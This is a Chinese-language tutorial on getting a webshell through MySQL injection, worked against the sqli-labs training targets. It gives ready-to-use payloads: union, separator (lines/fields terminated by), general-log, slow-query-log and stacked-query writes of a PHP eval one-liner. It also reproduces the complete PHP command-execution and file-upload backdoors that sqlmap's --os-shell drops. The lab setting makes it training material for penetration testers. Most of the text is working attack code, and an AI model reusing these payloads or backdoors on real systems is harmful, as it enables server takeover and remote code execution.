目录
一、注入条件
使用sql注入进行文件上传功能获取getshell,它有以下三个条件
1、最高用户权限 root
2、网站的根路径
3、开启secure_file_priv功能,要具有读写权限
//查看读写权限 show variables like '%secure%'
(1)secure_file_priv= 代表对文件读写没有限制
(2)secure_file_priv=NULL 代表不能进行文件读写
(3)secure_file_priv=d :/phpstudy /mysql/data 代表只能对该路径下文件进行读写
二、注入相关函数和语句
1、load_file()
load_file(file_name) :读取文件并返回该文件的内容作为一个字符串 使用条件: 1、必须有权限读取并且文件必须完全可读 and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明具有读写权限。 and (select count(*) from mysql.user)>0/* 返回错误,应该是管理员给数据库帐户降权 2、欲读取文件必须在服务器上 3、必须指定文件完整的路径Mysql 注入 4、欲读取文件必须小于 max_allowed_packet 如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的就是权限,在 windows 下,如果 NTFS 设置得当,是不能读取相关的文件的,当遇到只有administrators 才能访问的文件,users 就别想 load_file 出来。
2、load data infile
LOAD DATA INFILE 'file_path' INTO TABLE table_name[OPTIONS] 用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必须为一个文字字符串 其中,file_path为要导入的文件路径,table_name为目标表的名称,OPTIONS为可选项,用于指定一些导入参数,如字段分隔符、行分隔符等。
3、into outfile
INTO OUTFILE 'file_name' 用于将查询结果导出到指定的文件中,其中的'file_name'是导出文件的路径和文件名 我们一般有两种利用形式: 第一种直接将 select 内容导入到文件中: Select version() into outfile “c:\\phpnow\\htdocs\\test.php” 此处将 version()替换成一句话,<?php @eval($_post[“mima”])?> 也即 Select <?php @eval($_post[“mima”])?> into outfile “c:\\phpnow\\htdocs\\test.php” 直接连接一句话就可以了,其实在 select 内容中不仅仅是可以上传一句话的,也可以上传很多的内容。 第二种修改文件结尾: Select version() Into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16 进制文件 解释:通常是用‘\r\n’结尾,此处我们修改为自己想要的任何文件。同时可以用 FIELDSTERMINATED BY16 进制可以为一句话或者其他任何的代码,可自行构造。 在 sqlmap 中 os-shell 采取的就是这样的方式,具体可参考 os-shell分析文章http://www.cnblogs.com/lcamry/p/5505110.html
三、联合写入
来自sqli-labs第七关
先判断注入点
判断注入类型
发现只有在错误的时候才有进行提示不过没有提示哪里出错了,成功是正常显示
典型的盲注,那么先使用构造基本的poc进行测试
1'and sleep(5)--+ #未成功延时 1''and sleep(5)--+ #未成功延时 1')and sleep(5)--+ #未成功延时 1")and sleep(5)--+ #未成功延时 1'))and sleep(5)--+ #成功延时,证明此处闭合为(('$id'))
判断列数
1')) order by 3 --+ #使用3正常,4提示错误
构造上传语句
-1')) union select 1,"<?php eval($_REQUEST[1]);?>",3 into outfile 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\outfile.php' --+
可以看到已经生成成功了
四、分隔符写入
当mysql将联合注入语句给过滤的时候就要找一些能平替的方式去写webshell,sql注入写入webshell的方式也是今年hvv问的最多的了 使用分隔符一共有4中形式 1 limit 0,1 INTO OUTFILE '物理路径' lines terminated by (一句话木马) 1 limit 0,1 INTO OUTFILE '物理路径' fields terminated by (一句话木马)'\#' 1 limit 0,1 INTO OUTFILE '物理路径' columns terminated by (一句话木马)'\#' 1 limit 0,1 INTO OUTFILE '物理路径' lines starting by (一句话木马)'\r\n' 因为 INTO OUTFILE 的语法是将查询结果写入到文件中,如果不使用limit 0,1加上限制只写入第一条数据,那么可能会将整张表的数据都写入到文件中,造成不必要的麻烦。 将一句话木马转化为16进制就不需要使用分隔符了
lines terminated by
LINES TERMINATED BY 是 INTO OUTFILE 命令的一部分,用于指定输出文件中的每行数据的终止符 也就是在写入木马文件时,每行数据都会以指定的一句话木马结束,从而确保写入的一句话木马在木马文件中能够被正确识别,可以直接理解为在每行终止的位置添加木马 1')) LIMIT 0,1 INTO OUTFILE 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\1.php' lines terminated by "<?php eval($_REQUEST[1]);?>" --+
fields terminated by
用于指定在输出文件中分隔字段的字符。 每个字段的位置添加木马 1')) LIMIT 0,1 INTO OUTFILE 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\2.php' fields terminated by "<?php eval($_REQUEST[1]);?>" --+
columns terminated by
用于指定输出到文件中的列之间的分隔符 每个列位置之间添加木马 1')) LIMIT 0,1 INTO OUTFILE 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\3.php' columns terminated by "<?php eval($_REQUEST[1]);?>" --+
lines starting by
每一行的起始位置 每一行的起始位置 1')) LIMIT 0,1 INTO OUTFILE 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\4.php' lines starting by "<?php eval($_REQUEST[1]);?>" --+
五、日志写入
原理:
通过构造恶意的SQL语句,使其在执行时会将攻击者指定的一段代码写入到MySQL的一般日志文件中,从而达到写入WebShell的目的
日志文件:
show variables like '%log%'; //查看log文件 1、日志集合(general_log):记录了所有客户端和服务端的交互信息,包括sql语句,连接,断开,错误信息等等,默认是关闭的 2、错误日志(log_error):记录MySQL Server启动和运行过程中的错误和警告信息。 PS:错误日志已经被设置为只读文件了,可以在my.ini中进行添加,不能在使用set去进行修改,如果要利用错误日志的话可以使用show variables like '%log_error%'去获取他是否开启了错误日志。 3、慢查询日志(Slow_query_log):记录执行时间超过指定时间(默認10秒)的SQL语句,通常用于优化查询性能。 4、二进制日志(log_bin):记录所有对数据库的更改操作,可以用于数据备份和恢复,以及主从复制等功能。 目前我测试能成功上传Webshell的就只有这四种日志文件,如果还有其他可以用的日志文件欢迎来与作者讨论
条件:
最高用户权限 root (具有读写权限) 开启相应日志记录 日志文件的绝对路径 能解析代码
案例:
**general_log** //默认关闭是OFF,开启是ON,也可以使用0或者1表示,0表示关闭,1表示开启 先开启general_log日志记录文件
SET SESSION general_log = 1; SET SESSION log_output = 'file'; SET SESSION general_log_file = 'C:\phpStudy\WWW\sqli-labs-master\mysql.log'; 开启日志,以日志以文件的形式写入到mysql.log中
SET GLOBAL general_log = 1; SET GLOBAL log_output = 'file'; SET GLOBAL general_log_file = 'C:\phpStudy\WWW\sqli-labs-master\mysql.log'; 改是改过来了又有发现一个问题,我直接从windows上复制下来的目录"\",在mysql中被转义了。。。 尴尬
SET GLOBAL general_log_file = 'C:/phpStudy/WWW/sqli-labs-master/mysql.log';
随便在一个地方输入1 select '<?php eval($_REQUEST[1]);?>' --+ 被记录到日志文件里面了
不过还是连接不上,想起了当时学文件包含的时候jpg这种图片不能解析php代码,所以我就在想是不是log后缀也不能解析php代码,尝试了很多次果然还是解析不了的,那么就将log的后缀改为php在试试
随便进入一个sql注入靶场,1 select '<?php eval($_REQUEST[1]);?>' --+ 就算闭合错误也没有关系,general_log这个文件也会记录错误的信息,只要一句话木马没错就好
那么这个日志写入就是这么一回事了,要注意的是开启日志功能,有写入修改权限,修改日志文件为php格式要能被解析,可能大家会说触发条件太苛刻了,那不知道你们有没有想过使用堆叠注入一把梭哈呢???
六、堆叠写入
原理:在sql语句中“;”代表结束语句,而我们在sql注入过程中在“;”的后面在加上sql语句,那么这种能被执行的就叫堆叠注入,我们可以在堆叠的地方写入一句话木马从而获取到webshell ';SELECT "<?php eval($_REQUEST[1]);?>" INTO OUTFILE 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-38\\5.php' --+
慢查询日志写入: ';set global slow_query_log=1;set global slow_query_log_file="C:\\phpStudy\\WWW\\sqli-labs-master\\Less-38\\querylog.php";select if(sleep(11),"<?php eval($_REQUEST[1]);?>","<?php eval($_REQUEST[1]);?>") --+
效果出来就ok了,我在phpmyadmin里面就可能直接执行所有的语句到了第38关好像就不行了
七、--os-shell
1、sqlmap通过注入攻击获取到服务器的访问权限,包括操作系统的访问权限和数据库的访问权限。 2、sqlmap启动一个交互式的命令行shell,使得攻击者可以直接通过命令行与受攻击服务器进行交互。 3、sqlmap将建立一个TCP连接,将命令行的输入和输出通过该连接发送到目标服务器上的一个后门程序中。 4、目标服务器上的后门程序将接收到sqlmap发送的命令行输入,并在服务器上执行相应的操作。 5、后门程序将命令行输出发送回sqlmap,sqlmap再将其显示在交互式shell中,从而实现了与受攻击服务器的交互。
案例:
以sqli-labs第一关当成例子
sqlmap -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1' --os-shell
选择脚本语言
1、系统自带路径 2、自定义路径 3、目录字典 4、爆破
tmpbqghp.php #命令执行文件
<?php
$c = $_REQUEST["cmd"]; #通过$_request["cmd"]获取http请求中的"cmd"参数,将其存放到变量"$C"中
@set_time_limit(0); #不限制脚本执行时间
@ignore_user_abort(1); #用户关闭连接后,脚本仍然继续执行
@ini_set("max_execution_time",0); #脚本最大执行时间,0为不限制
$z = @ini_get("disable_functions");
if (!empty($z)) {
$z = preg_replace("/[, ]+/", ',', $z);
$z = explode(',', $z);
$z = array_map("trim", $z);
} else {
$z = array();
} #通过 @ini_get 函数获取 PHP 中被禁用的函数列表,将其存储到变量 $z 中,并将其转换为数组格式。如果没有被禁用的函数,则将其设置为空数组。
$c = $c . " 2>&1\n"; #将错误输出重定向到标准输出中
function f($n) {
global $z;
return is_callable($n) and !in_array($n, $z);
}
if (f("system")) {
ob_start();
system($c);
$w = ob_get_clean();
} elseif (f("proc_open")) {
$y = proc_open($c, array(array(pipe, r), array(pipe, w), array(pipe, w)), $t);
$w = NULL;
while (!feof($t[1])) {
$w .= fread($t[1], 512);
}
@proc_close($y);
} elseif (f("shell_exec")) {
$w = shell_exec($c);
} elseif (f("passthru")) {
ob_start();
passthru($c);
$w = ob_get_clean();
} elseif (f("popen")) {
$x = popen($c, r);
$w = NULL;
if (is_resource($x)) {
while (!feof($x)) {
$w .= fread($x, 512);
}
}
@pclose($x);
} elseif (f("exec")) {
$w = array();
exec($c, $w);
$w = join(chr(10), $w) . chr(10);
} else {
$w = 0;
}
#定义了一个函数 f,用于检查指定的函数是否可用,如果不存在任何一个可以执行系统命令的函数,则将 $w 设置为 0
echo "<pre>$w</pre>";
?> #将结果以 HTML 格式输出到浏览器上
tmpuppph.php #上传文件
<?php
if (isset($_REQUEST["upload"])) {
$dir = $_REQUEST["uploadDir"];
if (phpversion() < '4.1.0') {
$file = $HTTP_POST_FILES["file"]["name"];
@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir."/".$file) or die();
} else {
$file = $_FILES["file"]["name"];
@move_uploaded_file($_FILES["file"]["tmp_name"], $dir."/".$file) or die();
}
@chmod($dir."/".$file, 0755);
echo "File uploaded";
} else {
echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=C:\\phpStudy\\WWW\\sqli-labs-master\\Less-1\\> <input type=submit name=upload value=upload></form>";
}
?>
#检查是否收到了名为 "upload" 的请求参数,如果有,它会获取名为 "uploadDir" 的参数,然后根据 PHP 版本不同,使用不同的方法来上传文件。然后它会将文件的权限设置为 0755,并返回一个 "File uploaded" 的字符串。如果没有收到 "upload" 参数,它会输出一个 HTML 表单,允许用户上传文件,并指定上传到的目录
访问http://127.0.0.1/sqli-labs-master/Less-1/tmpuppph.php上传一个木马文件上去
总结:--os-shell就上往服务器上写入两个木马文件,一个是文件上传使用,一个是通过url进行传参利用命令执行